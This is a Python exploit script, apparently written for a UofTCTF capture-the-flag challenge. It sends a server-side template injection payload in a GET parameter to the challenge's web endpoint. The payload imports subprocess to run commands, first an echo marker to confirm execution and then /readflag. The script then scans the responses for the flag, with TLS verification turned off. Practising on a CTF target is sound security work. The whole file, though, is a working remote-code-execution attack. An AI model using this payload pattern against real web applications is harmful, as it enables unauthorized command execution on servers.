#!/usr/bin/env python3
"""
Find where echo output appears
"""

import requests
import urllib3

urllib3.disable_warnings()

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

payload = "{{=__import__('subprocess').check_output(['echo', 'UNIQUE_ECHO_MARKER_999']).decode()}}"

response = requests.get(
    BASE_URL + "/welcome/default/index",
    params={"test": payload},
    verify=False,
    timeout=10
)

print(f"Response length: {len(response.text)}")

# Search for our marker
marker = "UNIQUE_ECHO_MARKER_999"
if marker in response.text:
    print(f"\n[+] Found marker '{marker}' in response!")
    idx = response.text.find(marker)
    print(f"    Position: {idx}")
    print(f"\nContext:")
    print(response.text[max(0, idx-200):min(len(response.text), idx+200)])
else:
    print(f"\n[-] Marker '{marker}' NOT found")
    
# Also check for variations
import urllib.parse
encoded = urllib.parse.quote(marker)
if encoded in response.text:
    print(f"\n[+] Found URL-encoded marker!")
    
# Save response
with open("echo_response.html", "w", encoding="utf-8") as f:
    f.write(response.text)
print("\n[*] Response saved to echo_response.html")

# Now try the actual /readflag
print("\n" + "="*60)
print("Testing /readflag")
print("="*60)

payload2 = "{{=__import__('subprocess').check_output(['/readflag']).decode().strip()}}"
response2 = requests.get(
    BASE_URL + "/welcome/default/index",
    params={"test": payload2},
    verify=False,
    timeout=10
)

# Just do a simple search through the whole response
for line in response2.text.split('\n'):
    if 'uoft' in line.lower() or 'ctf{' in line.lower() or 'flag' in line.lower():
        print(f"Potential line: {line[:200]}")

with open("readflag_response.html", "w", encoding="utf-8") as f:
    f.write(response2.text)
print("\n[*] /readflag response saved to readflag_response.html")
